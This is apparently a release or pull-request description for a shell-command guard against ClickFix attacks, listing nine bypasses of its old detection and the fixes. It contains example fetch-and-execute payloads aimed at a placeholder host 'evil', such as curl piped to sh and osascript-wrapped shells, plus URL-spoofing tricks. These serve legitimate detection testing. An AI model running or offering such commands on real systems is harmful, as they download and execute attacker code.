security: v0.1.1 — rewrite detection as a tokenizer, close 9 silent bypasses

[DareDev256]

Security release. Anyone on v0.1.0 should upgrade.

v0.1.0's detection grammar was adversarially tested for the first time and it did not hold. Nine of thirteen realistic ClickFix payload shapes passed ShellGuard silently — no prompt, no banner, no log entry. ExposureScan's headline privacy invariant was false for the exact secret class it ranks P0. And ShellGuard's confirmation prompt could not actually be completed.

Human

Run these to see it for yourself:

zsh tests/run-corpus.zsh          # 78/78 — every bypass below, plus every known false positive
zsh tests/test-zle-integration.zsh # 4/4 — drives a REAL interactive zsh over a pty
cd exposurescan && python3 -m unittest discover -s tests   # 47 tests (was 12)

What v0.1.0 let through, verified against the shipped regex before the fix:

Payload	v0.1.0	v0.1.1
curl "https://evil/x?a=1&b=2" | sh	silent	block
curl https://evil/x | bash;	silent	block
curl https://evil/x | /bin/sh	silent	block
bash -c "$(curl -fsSL https://evil/x)"	silent	block
$(curl https://evil/x)	silent	block
curl …raw.githubusercontent.com/<attacker>/… | sh	silent	block
curl -o /tmp/p https://evil/x; sh /tmp/p	silent	warn
osascript -e 'do shell script "curl … | zsh"'	silent	block
curl https://evil/x | sh (control)	block	block

Full write-up with every payload: SECURITY.md.

Agent

Intent. Make the two headline claims true. The kit's whole pitch is refusing claims it cannot back, so this release publishes its own misses rather than fixing quietly.

Root causes, not symptoms.

1. A hand-written regex over an unparsed shell command cannot survive ordinary shell syntax. [^|;&]* could not cross the & in a query string; ([[:space:]]|$) broke on a trailing ;; the interpreter had to be a bare literal at a fixed offset. Replaced with a tokenizer (lib/clickfix-grammar.zsh) that respects quoting, splits into statements and pipeline stages, and normalizes each stage's command word. Evasion now requires changing what the command does.
2. A host the public can publish to can never be a trust anchor by hostname. raw.githubusercontent.com shipped in the default allowlist — the guard was telling an attacker where to stage a payload. Trust is now scheme+host+path prefix; the wildcard-subdomain rule is gone.
3. read -r < /dev/tty inside a ZLE widget never returns. The line editor holds the tty in raw mode with echo off, and Enter sends CR, not LF. The typed-phrase gate — the entire point of the block tier — was uncompletable. Now uses read-from-minibuffer with an stty sane fallback.
4. Two copies of a grammar always drift. The README claimed ClipSentinel was "kept in lockstep with ShellGuard's"; they disagreed on 6 of 13 payloads. One shared file now, and CI fails if either tool grows a private host list or regex again.

Constraints honoured. No new tools — the kit stays at six. No curl | bash installer. Every elevated permission still degrades gracefully.

False positives treated as defects, not noise. An uninstalled guard catches nothing, so widening detection required narrowing it elsewhere: comment stripping, quoted-vs-unquoted /dev/tcp, python -c requiring both a network and an exec primitive (v0.1.0 flagged python3 -c "import os; os.system(1)" with no network at all), and a new warn tier so the typed phrase never becomes muscle memory.

Edge cases covered. Userinfo trick (https://sh.rustup.rs@evil/x), suffix confusion (raw.githubusercontent.com.evil.test), one untrusted host among trusted ones, interposed pipeline stages (| tee | sh, | gunzip | bash), non-base64 decoders, ANSI injection into the kit's own warning banner, and markdown/ANSI injection into ExposureScan's report via a crafted filename or note title.

Deliberately out of scope (see docs/v0.2.0-plan.md): INCIDENT.md + panic.sh, preserve.sh, WatchPost baseline integrity, exposurescan --tcc. The plan also explicitly declines to build a general hardening scanner (mSCP and Pareto own it) and recommends against a Windows port, with reasoning.

Not done here: the tag is unsigned. git tag -v v0.1.0 currently exits 1, and signing v0.1.1 needs your key — worth doing before this is cut as a release, since the kit asks users for Full Disk Access.

🤖 Generated with Claude Code

https://claude.ai/code/session_01AcTJUv94F34MdtGZCGyyur